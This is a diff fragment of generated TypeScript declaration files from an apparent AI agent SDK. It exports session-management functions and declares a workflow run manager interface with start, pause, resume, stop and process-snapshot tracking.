+ export { rewindSession as B, setActiveEntry as E, FILE_MODIFICATION_TOOLS as F, unarchiveSession as G, watchSessions as H, MemorySessionStorage as M, PERMISSION_MODES as P, FileSessionStorage as c, appendClientNotice as l, archiveSession as m, compactSession as n, computeConfirmTools as o, createMemorySessionStorage as p, createSessionManager as q, deleteSession as r, forkSession as s, isPermissionMode as t, listRunningSessions as u, listSessions as v, loadFullTranscript as w, loadSession as x, normalizePermissionMode as y, permissionModeDisplayName as z };
596
+ export type { AppendClientNoticeOptions as A, CompactSessionOptions as C, DeleteSessionResult as D, ListSessionsOptions as L, RunningSessionInfo as R, SessionData as S, WatchSessionsCallback as W, CompactSessionResult as a, ConfirmResult as b, FullTranscriptSessionData as d, PermissionContext as e, PermissionMode as f, SessionManager as g, SessionStorage as h, SessionSummary as i, SessionTranscriptEntry as j, SessionTranscriptEntryType as k };
@@ -0,0 +1,91 @@
1
+ import { ct as WorkflowProcessTrackerOptions, c4 as WorkflowEvent, cn as WorkflowProcessSnapshot, ch as WorkflowProcessEvent } from './process.d-CY2g03Mb.js';
2
+
3
+ /**
4
+ * FEATURE_246 Part A0 (ADR-046) — neutral workflow run lifecycle manager.
5
+ *
6
+ * Domain-neutral run registry + lifecycle (pause / resume / stop), process-event
7
+ * tracking, and terminal settle — lifted out of `@kodax-ai/coding` so any agent
8
+ * (including non-coding SDK hosts) can host and manage workflow runs.
9
+ *
10
+ * It never knows HOW a run executes: the caller injects a `runFn` thunk that
11
+ * receives lifecycle hooks (`onEvent` / `signal` / `beforeSpawn`) and returns a
12
+ * caller-shaped outcome, plus a `classify` mapping that outcome to a neutral
13
+ * terminal status and an `onError` that synthesizes a failure outcome. The
14
+ * coding layer wires `runFn` to its `runWorkflowModule` / `runWorkflowFromOptions`
15
+ * (backend + run-graph + worktrees); SDK hosts wire their own. Dependency arrows
16
+ * therefore point only coding → agent — no cycle.
17
+ */
18
+
19
+ type ManagedWorkflowStatus = 'running' | 'paused' | 'completed' | 'failed' | 'denied' | 'stopped';
20
+ /** Provenance/display metadata for a run's process tracker. */
21
+ type WorkflowProcessMetadata = Pick<WorkflowProcessTrackerOptions, 'displayName' | 'goal' | 'source' | 'savedWorkflowName' | 'sourceRunId' | 'sourceWorkflowName' | 'revisionOf' | 'resumedFromRunId' | 'hostMetadata'>;
22
+ interface ManagedWorkflowSnapshot {
23
+ readonly runId: string;
24
+ readonly workflow: string;
25
+ readonly status: ManagedWorkflowStatus;
26
+ readonly totalSpawned: number;
27
+ readonly eventCount: number;
28
+ readonly startedAt: number;
29
+ readonly endedAt?: number;
30
+ readonly error?: string;
31
+ readonly resultText?: string;
32
+ }
33
+ interface ManagedWorkflowRun<TOutcome = unknown> {
34
+ readonly runId: string;
35
+ readonly done: Promise<TOutcome>;
36
+ getSnapshot(): ManagedWorkflowSnapshot | undefined;
37
+ getProcessSnapshot(): WorkflowProcessSnapshot | undefined;
38
+ }
39
+ /** Lifecycle hooks the manager injects into the caller's `runFn`. */
40
+ interface ManagedRunHooks {
41
+ /** Forward every workflow event so the manager can track spawn/progress. */
42
+ readonly onEvent: (event: WorkflowEvent) => void;
43
+ /** Abort signal owned by the manager (fires on stop()). */
44
+ readonly signal: AbortSignal;
45
+ /** Await before launching each agent so pause() can gate new spawns. */
46
+ readonly beforeSpawn: () => Promise<void>;
47
+ }
48
+ /** Neutral terminal classification of a caller-shaped outcome. */
49
+ interface ManagedRunClassification {
50
+ readonly status: 'completed' | 'failed' | 'denied';
51
+ readonly error?: Error;
52
+ readonly resultText?: string;
53
+ }
54
+ interface StartManagedRunInput<TOutcome> {
55
+ readonly runId: string;
56
+ /** Display name (usually the workflow's `meta.name`). */
57
+ readonly workflow: string;
58
+ readonly phases?: readonly string[];
59
+ readonly maxAgents?: number;
60
+ readonly plannedAgents?: number;
61
+ readonly tokenBudget?: number;
62
+ readonly processMetadata?: WorkflowProcessMetadata;
63
+ readonly signal?: AbortSignal;
64
+ /** Executes the run with the manager's lifecycle hooks injected. */
65
+ readonly runFn: (hooks: ManagedRunHooks) => Promise<TOutcome>;
66
+ /** Map the caller's terminal outcome to a neutral status for the snapshot. */
67
+ readonly classify: (outcome: TOutcome) => ManagedRunClassification;
68
+ /** Synthesize a caller-shaped outcome when `runFn` throws. */
69
+ readonly onError: (error: unknown) => TOutcome;
70
+ }
71
+ interface WorkflowRunManager {
72
+ start<TOutcome>(input: StartManagedRunInput<TOutcome>): ManagedWorkflowRun<TOutcome>;
73
+ list(): readonly ManagedWorkflowSnapshot[];
74
+ get(runId: string): ManagedWorkflowSnapshot | undefined;
75
+ subscribeWorkflowProcess(listener: (event: WorkflowProcessEvent) => void): () => void;
76
+ getWorkflowProcessSnapshot(runId: string): WorkflowProcessSnapshot | undefined;
77
+ listWorkflowProcessSnapshots(options?: {
78
+ readonly activeOnly?: boolean;
79
+ readonly limit?: number;
80
+ }): readonly WorkflowProcessSnapshot[];
81
+ pause(runId: string): boolean;
82
+ resume(runId: string): boolean;
83
+ stop(runId: string, reason?: string): boolean;
84
+ }
85
+ declare function createWorkflowRunManager(deps?: {
86
+ readonly now?: () => number;
87
+ }): WorkflowRunManager;
88
+ declare function getDefaultWorkflowRunManager(): WorkflowRunManager;
89
+
90
+ export { createWorkflowRunManager as f, getDefaultWorkflowRunManager as g };
91
+ export type { ManagedRunClassification as M, StartManagedRunInput as S, WorkflowProcessMetadata as W, ManagedRunHooks as a, ManagedWorkflowRun as b, ManagedWorkflowSnapshot as c, ManagedWorkflowStatus as d, WorkflowRunManager as e };